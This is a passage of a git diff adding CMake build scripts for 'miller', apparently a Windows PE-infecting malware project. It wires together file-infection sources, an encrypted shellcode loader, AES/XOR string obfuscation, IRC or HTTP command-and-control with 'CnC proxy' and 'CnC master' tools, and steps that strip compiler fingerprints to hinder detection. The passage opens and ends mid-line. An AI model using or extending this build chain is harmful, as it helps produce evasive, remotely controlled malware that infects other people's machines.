crypt_strings.c compat.c file.c math.c pe_infect.c utils.c disasm.c patch.c main.c CACHE INTERNAL "" FORCE) +set(MILLER_HDR snprintf.h aes.h crypt.h crypt_strings.h compat.h file.h math.h pe_infect.h utils.h disasm.h patch.h CACHE INTERNAL "" FORCE) +if (ENABLE_IRC) + set(MILLER_PRE_DEFS ${MILLER_PRE_DEFS} "_ENABLE_IRC=1" CACHE INTERNAL "" FORCE) + set(MILLER_DEFS ${MILLER_DEFS} "_ENABLE_IRC=1" CACHE INTERNAL "" FORCE) + set(MILLER_SRC ${MILLER_SRC} irc.c CACHE INTERNAL "" FORCE) + set(MILLER_HDR ${MILLER_HDR} irc.h CACHE INTERNAL "" FORCE) +else() + set(MILLER_SRC ${MILLER_SRC} http.c CACHE INTERNAL "" FORCE) + set(MILLER_HDR ${MILLER_HDR} http.h CACHE INTERNAL "" FORCE) +endif() +if (HTTP_LOCALHOST) + set(MILLER_PRE_DEFS ${MILLER_PRE_DEFS} "_HTTP_LOCALHOST=1" CACHE INTERNAL "" FORCE) + set(MILLER_DEFS ${MILLER_DEFS} "_HTTP_LOCALHOST=1" CACHE INTERNAL "" FORCE) +endif() +if (INFECT_DUMMY) + set(MILLER_PRE_DEFS ${MILLER_PRE_DEFS} "_INFECT_DUMMY=1" CACHE INTERNAL "" FORCE) + set(MILLER_DEFS ${MILLER_DEFS} "_INFECT_DUMMY=1" CACHE INTERNAL "" FORCE) +endif() +if (EXTRA_VERBOSE) + set(MILLER_PRE_DEFS ${MILLER_PRE_DEFS} "_EXTRA_VERBOSE=1" CACHE INTERNAL "" FORCE) +endif() + +PrefixPath(MILLER_SRC source ${MILLER_SRC}) +PrefixPath(MILLER_HDR include ${MILLER_HDR}) + +set(CRT_X86 crt_x86 CACHE INTERNAL "" FORCE) +set(CRT_X86_SRC ${CRT_X86}.asm; CACHE INTERNAL "" FORCE) +PrefixPath(CRT_X86_SRC source ${CRT_X86_SRC}) + +set(LOADER_X86_SRC ${LOADER_X86}.asm CACHE INTERNAL "" FORCE) +PrefixPath(LOADER_X86_SRC source ${LOADER_X86_SRC}) + +set(DECRYPTER_X86_SRC ${DECRYPTER_X86}.asm CACHE INTERNAL "" FORCE) +PrefixPath(DECRYPTER_X86_SRC source ${DECRYPTER_X86_SRC}) + +set(DISTORM_SRCDIR "source/distorm" CACHE INTERNAL "" FORCE) +set(DISTORM_PRE_DEFS CACHE INTERNAL "" FORCE) +set(DISTORM_DEFS ${DISTORM_PRE_DEFS} DISTORM_LIGHT=1 CACHE INTERNAL "" FORCE) +set(DISTORM_SRC decoder.c distorm.c instructions.c insts.c mnemonics.c operands.c prefix.c CACHE INTERNAL "" FORCE) +set(DISTORM_PRE_SRC ${DISTORM_SRC} wstring.c textdefs.c CACHE INTERNAL "" FORCE) +PrefixPath(DISTORM_SRC ${DISTORM_SRCDIR} ${DISTORM_SRC}) +PrefixPath(DISTORM_PRE_SRC ${DISTORM_SRCDIR} ${DISTORM_PRE_SRC}) + +include_directories(AFTER ${MILLER_HDRDIR}) +include_directories(AFTER ${DISTORM_SRCDIR}) + +# miller minimal CRTi +add_library(${CRT_X86} ${CRT_X86_SRC}) +set_target_properties(${CRT_X86} PROPERTIES COMPILE_FLAGS "-O0") + +# miller dll32 loader (final version, no debug, no pe32 support) +add_library(${LOADER_X86} ${LOADER_X86_SRC}) +set_target_properties(${LOADER_X86} PROPERTIES COMPILE_FLAGS "-D_LDR_SECTION=${LOADER_SECTION} -D_LOADER_ENDMARKER=${LOADER_ENDMARKER} -O0") +# miller dll32 loader (debug, pe32 support) +add_library(${LOADER_X86}_debug ${LOADER_X86_SRC}) +set_target_properties(${LOADER_X86}_debug PROPERTIES COMPILE_FLAGS "-D_DEBUG=1 -D_LDR_SECTION=${LOADER_SECTION} -D_LOADER_ENDMARKER=${LOADER_ENDMARKER} -O0") +# miller dll32 decrypter (debug, decrypter.exe) +add_library(${DECRYPTER_X86} ${DECRYPTER_X86_SRC}) +set_target_properties(${DECRYPTER_X86} PROPERTIES COMPILE_FLAGS "-D_LDR_SECTION=${LOADER_SECTION} -D_LOADER_ENDMARKER=${LOADER_ENDMARKER} -O0") + +# miller release build (DYNAMIC LINKED RELOCATEABLE) +add_library(${PROJECT_NAME}-shared SHARED ${MILLER_HDR} ${MILLER_SRC}) +add_dependencies(${PROJECT_NAME}-shared ${CRT_X86} loader_gen hdrcrypt cryptout_aes cryptout_xor) +target_link_libraries(${PROJECT_NAME}-shared distorm ${CRT_X86}) + +# miller release (c|ld)flags +target_include_directories(${PROJECT_NAME}-shared PRIVATE ${MILLER_HDRDIR_CREATED}) +target_compile_definitions(${PROJECT_NAME}-shared PRIVATE ${DISTORM_DEFS} ${MILLER_DEFS} ${LOADERBASE_DEFS}) +set_target_properties(${PROJECT_NAME}-shared PROPERTIES COMPILE_FLAGS "${default_cflags} ${miller_cflags}") +set_target_properties(${PROJECT_NAME}-shared PROPERTIES LINK_FLAGS "${default_ldflags} -v -Wl,-Map,${CMAKE_RUNTIME_OUTPUT_DIRECTORY}/${PROJECT_NAME}-shared.map -Wl,--image-base,${MILLER_IMAGEBASE}") + +# miller pre-release build +add_library(${PROJECT_NAME}_pre-shared SHARED ${MILLER_HDR} ${MILLER_SRC}) +add_dependencies(${PROJECT_NAME}_pre-shared ${CRT_X86} loader_gen hdrcrypt cryptout_aes cryptout_xor) +target_link_libraries(${PROJECT_NAME}_pre-shared distorm_pre ${CRT_X86}) + +# miller pre-release (c|ld)flags +target_include_directories(${PROJECT_NAME}_pre-shared PRIVATE ${MILLER_HDRDIR_CREATED}) +target_compile_definitions(${PROJECT_NAME}_pre-shared PRIVATE ${DISTORM_PRE_DEFS} ${MILLER_PRE_DEFS} ${LOADERBASE_DEFS}) +set_target_properties(${PROJECT_NAME}_pre-shared PROPERTIES COMPILE_FLAGS "${default_cflags} ${miller_cflags}") +set_target_properties(${PROJECT_NAME}_pre-shared PROPERTIES LINK_FLAGS "${default_ldflags} -v -Wl,-Map,${CMAKE_RUNTIME_OUTPUT_DIRECTORY}/${PROJECT_NAME}_pre-shared.map -Wl,--image-base,${MILLER_IMAGEBASE}") + +# run some python scripts to remove binutils/gcc/mingw fingerprints +RemoveGCCFingerprintFromObj(${PROJECT_NAME}-shared ${MILLER_SRC}) +RemoveFingerprints(${PROJECT_NAME}-shared) +RemoveGCCFingerprintFromObj(${PROJECT_NAME}_pre-shared ${MILLER_SRC}) +RemoveFingerprints(${PROJECT_NAME}_pre-shared) + +CreateBinary(${PROJECT_NAME}-shared ${CMAKE_RUNTIME_OUTPUT_DIRECTORY}/${PROJECT_NAME}.bin) +CreateBinary(${PROJECT_NAME}_pre-shared ${CMAKE_RUNTIME_OUTPUT_DIRECTORY}/${PROJECT_NAME}_pre.bin) +add_dependencies(${PROJECT_NAME}-shared_bin ${PROJECT_NAME}-shared_no-fingerprints) +add_dependencies(${PROJECT_NAME}_pre-shared_bin ${PROJECT_NAME}_pre-shared_no-fingerprints) + +install(FILES ${CMAKE_RUNTIME_OUTPUT_DIRECTORY}/${PROJECT_NAME}.bin ${CMAKE_RUNTIME_OUTPUT_DIRECTORY}/${PROJECT_NAME}_pre.bin DESTINATION ${INSTALL_DEST}) + +add_custom_command(TARGET ${PROJECT_NAME}-shared + PRE_BUILD + COMMAND ${CMAKE_COMMAND} -E cmake_echo_color --red --bold "Creating symlink: ${CMAKE_RUNTIME_OUTPUT_DIRECTORY} to ${CMAKE_CURRENT_SOURCE_DIR}/bin" + COMMAND test -e "${CMAKE_CURRENT_SOURCE_DIR}/bin" || ${CMAKE_COMMAND} -E create_symlink "${CMAKE_RUNTIME_OUTPUT_DIRECTORY}" "${CMAKE_CURRENT_SOURCE_DIR}/bin" +) + +add_custom_command(OUTPUT ${LOADER_HEADER_STAMP} ${LOADER_HEADER} + COMMAND ${CMAKE_COMMAND} -E cmake_echo_color --cyan --bold "genShellcode.py: ${LOADER_HEADER}" + COMMAND ${PYTHON} ${CMAKE_SOURCE_DIR}/batch/genShellcode.py --section="${LOADER_SECTION}" --binary="$<TARGET_FILE:${LOADER_X86}>" --define-prefix="LOADER_SHELLCODE" --file="${LOADER_HEADER}" + COMMAND ${PYTHON} ${CMAKE_SOURCE_DIR}/batch/genShellcode.py --section="${LOADER_SECTION}" --binary="$<TARGET_FILE:${LOADER_X86}_debug>" --define-prefix="LOADER_SHELLCODE_DEBUG" --file="${LOADER_HEADER}" + COMMAND ${CMAKE_COMMAND} -E touch ${LOADER_HEADER_STAMP} +) +add_custom_target(loader_gen + DEPENDS ${LOADER_X86} ${LOADER_X86}_debug ${LOADER_HEADER_STAMP} ${LOADER_HEADER} +) + +add_library(distorm ${DISTORM_SRC}) +set_target_properties(distorm PROPERTIES COMPILE_FLAGS "${default_cflags} ${miller_cflags}") +set_target_properties(distorm PROPERTIES LINK_FLAGS "${default_ldflags}") +target_compile_definitions(distorm PRIVATE ${DISTORM_DEFS}) +# remove gcc fingerprint from distorm +RemoveGCCFingerprintFromObj(distorm ${DISTORM_SRC}) + +add_library(distorm_pre ${DISTORM_PRE_SRC}) +set_target_properties(distorm_pre PROPERTIES COMPILE_FLAGS "${default_cflags} ${miller_cflags}") +set_target_properties(distorm_pre PROPERTIES LINK_FLAGS "${default_ldflags}") +target_compile_definitions(distorm_pre PRIVATE ${DISTORM_PRE_DEFS}) +# remove gcc fingerprint from distorm_pre +RemoveGCCFingerprintFromObj(distorm_pre ${DISTORM_PRE_SRC}) + +install(TARGETS ${PROJECT_NAME}-shared ${PROJECT_NAME}_pre-shared RUNTIME DESTINATION ${INSTALL_DEST}) diff --git a/cmake/CMakeMillerFuncs.cmake b/cmake/CMakeMillerFuncs.cmake new file mode 100644 index 0000000..a919904 --- /dev/null +++ b/cmake/CMakeMillerFuncs.cmake @@ -0,0 +1,85 @@ +function(GetMillerSectionFromInclude destfile definition out) + +set(tmp "") +execute_process(COMMAND ${CMAKE_SOURCE_DIR}/batch/millerSectionFromInclude.sh ${destfile} ${definition} OUTPUT_VARIABLE tmp) +if (tmp STREQUAL "") + unset(${out}) +else() + set(${out} "${tmp}" PARENT_SCOPE) +endif() + +endfunction() + + +function(RemoveGCCFingerprintFromObj targetname) + + foreach(f ${ARGN}) + add_custom_command(TARGET ${targetname} PRE_LINK + COMMAND ${CMAKE_OBJCOPY} -R '.rdata$$zzz' "${CMAKE_CURRENT_BINARY_DIR}/CMakeFiles/${targetname}.dir/${f}.obj" + DEPENDS ${targetname} + ) + endforeach(f) + +endfunction() + + +function(RemoveFingerprints targetname) + +set(tmp_stmp "${CMAKE_RUNTIME_OUTPUT_DIRECTORY}/.${targetname}_no-fingerprints") +add_custom_command(OUTPUT ${tmp_stmp} + # .edata && .idata is elementary for windows' LoadLibrary(...) func :/ + COMMAND ${CMAKE_COMMAND} -E cmake_echo_color --cyan --bold "RemoveFingerprints for ${targetname}" + COMMAND ${PYTHON} ${CMAKE_SOURCE_DIR}/batch/removeGccVersion.py "$<TARGET_FILE:${targetname}>" + COMMAND ${PYTHON} ${CMAKE_SOURCE_DIR}/batch/nullDataDirs.py "$<TARGET_FILE:${targetname}>" + COMMAND ${PYTHON} ${CMAKE_SOURCE_DIR}/batch/removeDosStub.py "$<TARGET_FILE:${targetname}>" + COMMAND ${CMAKE_COMMAND} -E touch ${tmp_stmp} + DEPENDS ${targetname} +) +add_custom_target(${targetname}_no-fingerprints ALL DEPENDS ${targetname} ${tmp_stmp}) + +endfunction() + + +function(CreateBinary targetname outfile) + +set(tmp_stmp "${CMAKE_RUNTIME_OUTPUT_DIRECTORY}/.${targetname}_bin-build") +add_custom_command(OUTPUT ${outfile} ${tmp_stmp} + COMMAND ${CMAKE_COMMAND} -E cmake_echo_color --cyan --bold "CreateBinary: ${outfile}" + COMMAND ${CMAKE_COMMAND} -E remove ${tmp_stmp} + COMMAND ${CMAKE_COMMAND} -E copy "$<TARGET_FILE:${targetname}>" "${outfile}" + COMMAND ${CMAKE_STRIP} -R .edata "${outfile}" || true + COMMAND ${CMAKE_STRIP} -R .idata "${outfile}" || true + COMMAND ${PYTHON} ${CMAKE_SOURCE_DIR}/batch/removeGccVersion.py "${outfile}" + COMMAND ${PYTHON} ${CMAKE_SOURCE_DIR}/batch/nullDataDirs.py "${outfile}" + COMMAND ${PYTHON} ${CMAKE_SOURCE_DIR}/batch/removeDosStub.py "${outfile}" + COMMAND chmod -x "${outfile}" + COMMAND ${CMAKE_COMMAND} -E touch ${tmp_stmp} + DEPENDS ${targetname} +) +add_custom_target(${targetname}_bin ALL DEPENDS ${targetname} ${outfile} ${tmp_stmp}) + +endfunction() + + +function(PrefixPath var prefix) + + set(listVar "") + foreach(f ${ARGN}) + list(APPEND listVar "${prefix}/${f}") + endforeach(f) + set(${var} "${listVar}" PARENT_SCOPE) + +endfunction() + + +include(CheckCSourceCompiles) + +function(CompileCSource source result cflags defs incl libs quiet) + set(CMAKE_REQUIRED_FLAGS ${cflags}) + set(CMAKE_REQUIRED_DEFINITIONS ${defs}) + set(CMAKE_REQUIRED_INCLUDES ${incl}) + set(CMAKE_REQUIRED_LIBRARIES ${libs}) + set(CMAKE_REQUIRED_QUIET ${quiet}) + CHECK_C_SOURCE_COMPILES("${source}" ${result}) +endfunction() + diff --git a/cmake/CMakeMillerHostTools.cmake b/cmake/CMakeMillerHostTools.cmake new file mode 100644 index 0000000..8a06cb0 --- /dev/null +++ b/cmake/CMakeMillerHostTools.cmake @@ -0,0 +1,119 @@ +set(TOOLS_DIR tools) +set(HOST_TOOLS_SRCDIR ${TOOLS_DIR}/host) +set(HOST_TOOLS_BUILDDIR ${CMAKE_CURRENT_BINARY_DIR}/host-tools) +set(HOST_TOOLS_MK ${HOST_TOOLS_BUILDDIR}/Makefile) +set(HOST_TOOLS_MKSTAMP ${STAMP_DIR}/.host-tools-build) +set(HOST_TOOLS_SRCGOAPPS ${MILLER_SRCDIR}/${HOST_TOOLS_SRCDIR}/go) +set(HOST_TOOLS_CNCPROXY ${HOST_TOOLS_SRCGOAPPS}/cncproxy) +set(HOST_TOOLS_CNCMASTER ${HOST_TOOLS_SRCGOAPPS}/cncmaster) + +set(CMAKE_ASM_NASM_OBJECT_FORMAT "win32") +set(CMAKE_ASM_NASM_COMPILER_ARG1 "-I${MILLER_SRCDIR}") +set(ASM_DIALECT "-NASM") +set(CMAKE_ASM${ASM_DIALECT}_SOURCE_FILE_EXTENSIONS nasm;asm) +enable_language(ASM_NASM) + +set(CRYPT_FILEDIR ${MILLER_HDRDIR}) +set(CRYPT_AESFILE ${CRYPT_FILEDIR}/aes_strings.h) +set(CRYPT_AESOUT ${MILLER_HDRDIR_CREATED}/aes_strings_gen.h) +set(CRYPT_AESOUT_STAMP ${STAMP_DIR}/.aes-strings-header-build) +set(CRYPT_XORFILE ${CRYPT_FILEDIR}/xor_strings.h) +set(CRYPT_XOROUT ${MILLER_HDRDIR_CREATED}/xor_strings_gen.h) +set(CRYPT_XOROUT_STAMP ${STAMP_DIR}/.xor-strings-header-build) + +set(CRYPT_NAME hdr_crypt-host) +set(CRYPT_EXEC ${CMAKE_RUNTIME_OUTPUT_DIRECTORY}/${CRYPT_NAME}) + +set(PYLOAD_NAME pyloader) +set(PYLOAD_SO ${CMAKE_RUNTIME_OUTPUT_DIRECTORY}/${PYLOAD_NAME}) + +set(PYCRYPT_NAME pycrypt) +set(PYCRYPT_SO ${CMAKE_RUNTIME_OUTPUT_DIRECTORY}/${PYCRYPT_NAME}) + +set(STRINGS_NAME strings-host) +set(STRINGS_EXEC ${CMAKE_RUNTIME_OUTPUT_DIRECTORY}/${STRINGS_NAME}) + +set(CNCPROXY_NAME cncproxy-host) +set(CNCPROXY_EXEC ${CMAKE_RUNTIME_OUTPUT_DIRECTORY}/${CNCPROXY_NAME}) + +set(CNCMASTER_NAME cncmaster-host) +set(CNCMASTER_EXEC ${CMAKE_RUNTIME_OUTPUT_DIRECTORY}/${CNCMASTER_NAME}) + + +# BUILD HOST TOOLS (hdr_crypt, file_crypt) +add_custom_command(OUTPUT ${HOST_TOOLS_MK} ${HOST_TOOLS_MKSTAMP} + COMMAND ${CMAKE_COMMAND} -E make_directory ${HOST_TOOLS_BUILDDIR} + COMMAND ${CMAKE_COMMAND} -E chdir ${HOST_TOOLS_BUILDDIR} ${CMAKE_COMMAND} -DMILLER_SRCDIR=${MILLER_SRCDIR} -DMILLER_HDRDIR=${MILLER_HDRDIR} -DMILLER_HDRDIR_CREATED=${MILLER_HDRDIR_CREATED} -DMILLER_TOOLSDIR=${MILLER_SRCDIR}/${TOOLS_DIR} -DPYTHON_INCDIR=${PYTHON_INCDIR} -DLOADER_ENDMARKER=${LOADER_ENDMARKER} -DINSTALL_DEST=${CMAKE_RUNTIME_OUTPUT_DIRECTORY} ${MILLER_SRCDIR}/${HOST_TOOLS_SRCDIR} + COMMAND ${CMAKE_COMMAND} -E remove ${CRYPT_EXEC} ${PYLOAD_SO} ${PYCRYPT_SO} ${STRINGS_EXEC} + COMMAND ${CMAKE_COMMAND} -E touch ${HOST_TOOLS_MKSTAMP} +) +add_custom_command(OUTPUT ${CRYPT_EXEC} /force-run + COMMAND ${CMAKE_MAKE_PROGRAM} -C ${HOST_TOOLS_BUILDDIR} ${CRYPT_NAME}-install +) +add_custom_command(OUTPUT ${PYLOAD_SO} /force-run + COMMAND ${CMAKE_MAKE_PROGRAM} -C ${HOST_TOOLS_BUILDDIR} ${PYLOAD_NAME}-install +) +add_custom_command(OUTPUT ${PYCRYPT_SO} /force-run + COMMAND ${CMAKE_MAKE_PROGRAM} -C ${HOST_TOOLS_BUILDDIR} ${PYCRYPT_NAME}-install +) +add_custom_command(OUTPUT ${PYHTTP_SO} /force-run + COMMAND ${CMAKE_MAKE_PROGRAM} -C ${HOST_TOOLS_BUILDDIR} ${PYHTTP_NAME}-install +) +add_custom_command(OUTPUT ${STRINGS_EXEC} /force-run + COMMAND ${CMAKE_MAKE_PROGRAM} -C ${HOST_TOOLS_BUILDDIR} ${STRINGS_NAME}-install +) + +add_custom_target(host-tools + ALL + DEPENDS ${HOST_TOOLS_MKSTAMP} +) +add_custom_target(hdrcrypt + ALL + DEPENDS ${HOST_TOOLS_MKSTAMP} ${CRYPT_EXEC} +) +add_custom_target(pyloader + ALL + DEPENDS ${HOST_TOOLS_MKSTAMP} ${PYLOAD_SO} +) +add_custom_target(pycrypt + ALL + DEPENDS ${HOST_TOOLS_MKSTAMP} ${PYCRYPT_SO} +) +add_custom_target(strings + ALL + DEPENDS ${HOST_TOOLS_MKSTAMP} ${STRINGS_EXEC} +) + +if (BUILD_CNCPROXY) +add_custom_target( + cncproxy + COMMAND ${CMAKE_COMMAND} -E cmake_echo_color --cyan --bold "Building CnC proxy" + COMMAND ${CMAKE_MAKE_PROGRAM} ${CNCPROXY_NAME}-install IS_GCCGO=1 GOCC=${HOSTGO} INSTALL=install DESTDIR=${HOST_TOOLS_BUILDDIR} + WORKING_DIRECTORY ${HOST_TOOLS_CNCPROXY} +) +else() +add_custom_target( + cncproxy + COMMAND ${CMAKE_COMMAND} -E cmake_echo_color --red --bold "Not building CnC proxy: disabled" +) +endif() + +if (BUILD_CNCMASTER) +add_custom_target( + cncmaster + COMMAND ${CMAKE_COMMAND} -E cmake_echo_color --cyan --bold "Building CnC master" + COMMAND ${CMAKE_MAKE_PROGRAM} ${CNCMASTER_NAME}-install IS_GCCGO=1 GOCC=${HOSTGO} INSTALL=install DESTDIR=${HOST_TOOLS_BUILDDIR} + WORKING_DIRECTORY ${HOST_TOOLS_CNCMASTER} +) +else() +add_custom_target( + cncmaster + COMMAND ${CMAKE_COMMAND} -E cmake_echo_color --red --bold "Not building CnC master: disabled" +) +endif() + +add_dependencies(strings pycrypt cryptout_xor) +add_dependencies(pycrypt pyloader) +add_dependencies(pyloader hdrcrypt) +add_dependencies(hdrcrypt cncmaster) +add_dependencies(cncmaster cncproxy host-tools) diff --git a/cmake/CMakeMillerTests.cmake b/cmake/CMakeMillerTests.cmake new file mode 100644 index 0000000..8a40530 --- /dev/null +++ b/cmake/CMakeMillerTests.cmake @@ -0,0 +1,28 @@ +set(tests_cflags "-Wall -Wextra -Werror -Wno-cast-function-type -Wno-switch -std=gnu99 -ffast-math -fno-trapping-math -fno-signaling-nans -fvisibility=hidden -fomit-frame-pointer -fexpensive-optimizations -Os -static -fdata-sections -ffunction-sections") +set(tests_ldflags "-s -Wl,--exclude-all-symbols -Wl,--exclude-libs,msvcrt.a -Wl,--gc-sections -Wl,--strip-all -Qn -v -fPIE") + +set(TESTS_SRC run_tests.c test_compat.c test_mem.c test_pe.c test_utils.c test_asm.c test_aes.c test_crypt.c test_http.c) +set(TESTS_MILLER_SRC crypt_strings.c snprintf.c compat.c math.c utils.c aes.c crypt.c file.c pe_infect.c patch.c disasm.c http.c) +PrefixPath(TESTS_SRC source/tests ${TESTS_SRC}) +PrefixPath(TESTS_MILLER_SRC ${MILLER_SRCDIR} ${TESTS_MILLER_SRC}) + +if (BUILD_TESTS) + add_executable(tests ${TESTS_MILLER_SRC} ${TESTS_SRC}) + add_dependencies(tests cryptout_xor cryptout_aes loader_gen) + set_target_properties(tests PROPERTIES COMPILE_FLAGS "${tests_cflags}") + set_target_properties(tests PROPERTIES LINK_FLAGS "${tests_ldflags} -Wl,-Map,${CMAKE_RUNTIME_OUTPUT_DIRECTORY}/${PROJECT_NAME}-tests.map") + target_link_libraries(tests distorm_pre) + target_include_directories(tests PRIVATE ${MILLER_HDRDIR_CREATED}) + target_compile_definitions(tests PRIVATE _GNU_SOURCE=1 _RUN_TESTS=1 ${DISTORM_PRE_DEFS} ${LOADERBASE_DEFS}) + install(TARGETS tests RUNTIME DESTINATION ${INSTALL_DEST}) + add_custom_target(check DEPENDS tests) + add_custom_command(TARGET check POST_BUILD + COMMAND wine ${CMAKE_BINARY_DIR}/bin/tests.exe + ) +else() + add_custom_target(check) + add_custom_command(TARGET check POST_BUILD + COMMAND ${CMAKE_COMMAND} -E cmake_echo_color --red --bold "${CMAKE_COMMAND}: make check requires a build with -DBUILD_TESTS enabled" + COMMAND false + ) +endif() diff --git a/cmake/CMakeMillerTools.cmake b/cmake/CMakeMillerTools.cmake new file mode 100644 index 0000000..107a505 --- /dev/null +++ b/cmake/CMakeMillerTools.cmake @@ -0,0 +1,136 @@ +# CREATE HEADER FILES (using host tools) +add_custom_command(OUTPUT ${CRYPT_AESOUT_STAMP} ${CRYPT_AESOUT} ${LOADER_CRYPT_STAMP} ${LOADER_CRYPT} + COMMAND ${CRYPT_EXEC} aes ${CRYPT_AESFILE} ${CRYPT_AESOUT} AES_KEY + COMMAND ${CRYPT_EXEC} aes ${LOADER_HEADER} ${LOADER_CRYPT} LDR_KEY + COMMAND ${CMAKE_COMMAND} -E touch ${CRYPT_AESOUT_STAMP} ${LOADER_CRYPT_STAMP} +) +add_custom_command(OUTPUT ${CRYPT_XOROUT_STAMP} ${CRYPT_XOROUT} + COMMAND ${CRYPT_EXEC} xor ${CRYPT_XORFILE} ${CRYPT_XOROUT} XOR_KEY + COMMAND ${CMAKE_COMMAND} -E touch ${CRYPT_XOROUT_STAMP} +) +add_custom_target(cryptout_aes + DEPENDS hdrcrypt loader_gen ${LOADER_HEADER} ${CRYPT_AESFILE} ${LOADER_CRYPT_STAMP} ${LOADER_CRYPT} ${CRYPT_AESOUT_STAMP} ${CRYPT_AESOUT} +) +add_custom_target(cryptout_xor + DEPENDS hdrcrypt ${CRYPT_XORFILE} ${CRYPT_XOROUT_STAMP} ${CRYPT_XOROUT} +) +set_source_files_properties(${CRYPT_XOROUT} PROPERTIES GENERATED 1) +set_source_files_properties(${CRYPT_AESOUT} PROPERTIES GENERATED 1) +set_source_files_properties(${LOADER_CRYPT} PROPERTIES GENERATED 1) + +# BUILD TARGET TOOLS +add_executable(dummy ${MILLER_SRCDIR}/${TOOLS_DIR}/dummy.c) +set_target_properties(dummy PROPERTIES COMPILE_FLAGS "-s") +add_custom_command(TARGET dummy POST_BUILD + COMMAND ${CMAKE_STRIP} -s "$<TARGET_FILE:dummy>" +) + +set(DUMMY_GUI_DIR ${MILLER_SRCDIR}/${TOOLS_DIR}/dummy_gui) +add_executable(dummy_gui ${DUMMY_GUI_DIR}/callbacks.c ${DUMMY_GUI_DIR}/res/resource.rc ${DUMMY_GUI_DIR}/winmain.c) +set_target_properties(dummy_gui PROPERTIES COMPILE_FLAGS "-O3") +set_target_properties(dummy_gui PROPERTIES LINK_FLAGS "-s -Wl,--subsystem,windows") +target_compile_definitions(dummy_gui PRIVATE UNICODE=1 _UNICODE=1 _WIN32_IE=0x0500 WINVER=0x500) +target_link_libraries(dummy_gui comctl32) +target_include_directories(dummy_gui PRIVATE ${DUMMY_GUI_DIR}) + +add_library(dummydll SHARED ${MILLER_SRCDIR}/${TOOLS_DIR}/dummy.c) + +add_executable(loader_base ${MILLER_SRCDIR}/${TOOLS_DIR}/loader_base.c) +add_dependencies(loader_base ${PROJECT_NAME}_pre-shared ${PROJECT_NAME}_pre-shared_bin) +set_target_properties(loader_base PROPERTIES COMPILE_FLAGS "-s -O0") +target_compile_definitions(loader_base PRIVATE ${DISTORM_DEFS} ${MILLER_DEFS} ${LOADERBASE_DEFS} _DEBUG=1) +target_link_libraries(loader_base ${LOADER_X86}_debug) + +add_executable(loader_base_enc ${MILLER_SRCDIR}/${TOOLS_DIR}/loader_base.c) +add_dependencies(loader_base_enc ${PROJECT_NAME}_pre-shared ${PROJECT_NAME}_pre-shared_bin) +set_target_properties(loader_base_enc PROPERTIES COMPILE_FLAGS "-s -O0") +target_compile_definitions(loader_base_enc PRIVATE ${DISTORM_DEFS} ${MILLER_DEFS} ${LOADERBASE_DEFS} _DEBUG=1) +target_link_libraries(loader_base_enc ${LOADER_X86}_debug) + +add_executable(release ${MILLER_SRCDIR}/${TOOLS_DIR}/loader_base.c) +add_dependencies(release ${PROJECT_NAME}-shared) +set_target_properties(release PROPERTIES COMPILE_FLAGS "-s -O0") +target_compile_definitions(release PRIVATE ${DISTORM_DEFS} ${MILLER_DEFS} ${LOADERBASE_DEFS} _DEBUG=1) +target_link_libraries(release ${LOADER_X86}) + +if (BUILD_ALL_TOOLS) + add_executable(decrypter ${MILLER_SRCDIR}/${TOOLS_DIR}/helper.c ${MILLER_SRCDIR}/crypt.c ${MILLER_SRCDIR}/${TOOLS_DIR}/decrypter.c) + set_target_properties(decrypter PROPERTIES COMPILE_FLAGS "-s -O0") + target_compile_definitions(decrypter PRIVATE _NO_COMPAT=1 ${LOADERBASE_DEFS} _DEBUG=1) + target_link_libraries(decrypter ${DECRYPTER_X86}) + + add_executable(disasm ${MILLER_SRCDIR}/disasm.c ${MILLER_SRCDIR}/${TOOLS_DIR}/disasm.c) + set_target_properties(disasm PROPERTIES COMPILE_FLAGS "${default_cflags}") + target_link_libraries(disasm distorm_pre) + + add_executable(loader_decrypt ${MILLER_SRCDIR}/aes.c ${MILLER_SRCDIR}/math.c ${MILLER_SRCDIR}/utils.c ${MILLER_SRCDIR}/${TOOLS_DIR}/helper.c ${MILLER_SRCDIR}/${TOOLS_DIR}/loader_decrypt.c) + add_dependencies(loader_decrypt loader_gen cryptout_aes) + set_target_properties(loader_decrypt PROPERTIES COMPILE_FLAGS "") + target_include_directories(loader_decrypt PRIVATE ${MILLER_HDRDIR_CREATED}) + target_compile_definitions(loader_decrypt PRIVATE ${MILLER_DEFS} _GNU_SOURCE=1 _NO_COMPAT=1 _NO_UTILS=1) + + set(alltools_targets decrypter disasm loader_decrypt) +else() + set(alltools_targets "") +endif() + +add_executable(loadmodule ${MILLER_SRCDIR}/${TOOLS_DIR}/loadmodule.c) +target_compile_definitions(loadmodule PRIVATE ${DISTORM_DEFS} ${MILLER_DEFS} ${LOADERBASE_DEFS}) + +add_executable(runbin ${MILLER_SRCDIR}/${TOOLS_DIR}/runbin.c) +set_target_properties(runbin PROPERTIES COMPILE_FLAGS "${default_cflags}") +target_compile_definitions(runbin PRIVATE ${LOADERBASE_DEFS}) + +add_custom_command(TARGET loader_base POST_BUILD + COMMAND ${CMAKE_STRIP} -s "$<TARGET_FILE:loader_base>" + COMMAND ${CMAKE_OBJCOPY} --add-section ${MILLER_SECTION}=${CMAKE_RUNTIME_OUTPUT_DIRECTORY}/${PROJECT_NAME}_pre.bin --set-section-flags ${MILLER_SECTION}=CONTENTS,ALLOC,LOAD,READONLY --change-section-address ${MILLER_SECTION}=${MILLER_SECTION_ADDRESS} "$<TARGET_FILE:loader_base>" + COMMAND ${PYTHON} ${CMAKE_SOURCE_DIR}/batch/patchLoader.py --pyload=${PYLOAD_SO} --pycrypt=${PYCRYPT_SO} --win32="$<TARGET_FILE:loader_base>" --binary=${CMAKE_RUNTIME_OUTPUT_DIRECTORY}/${PROJECT_NAME}_pre.bin --ldr-section=${LOADER_SECTION} --dll-section=${MILLER_SECTION} --endmarker=${LOADER_ENDMARKER} --patch --crypt-strings +) +add_dependencies(loader_base pyloader pycrypt ${PROJECT_NAME}-shared_bin) + +add_custom_command(TARGET loader_base_enc POST_BUILD + COMMAND ${CMAKE_STRIP} -s "$<TARGET_FILE:loader_base_enc>" + COMMAND ${CMAKE_OBJCOPY} --add-section ${MILLER_SECTION}=${CMAKE_RUNTIME_OUTPUT_DIRECTORY}/${PROJECT_NAME}_pre.bin --set-section-flags ${MILLER_SECTION}=CONTENTS,ALLOC,LOAD,READONLY --change-section-address ${MILLER_SECTION}=${MILLER_SECTION_ADDRESS} "$<TARGET_FILE:loader_base_enc>" + COMMAND ${PYTHON} ${CMAKE_SOURCE_DIR}/batch/patchLoader.py --pyload=${PYLOAD_SO} --pycrypt=${PYCRYPT_SO} --win32="$<TARGET_FILE:loader_base_enc>" 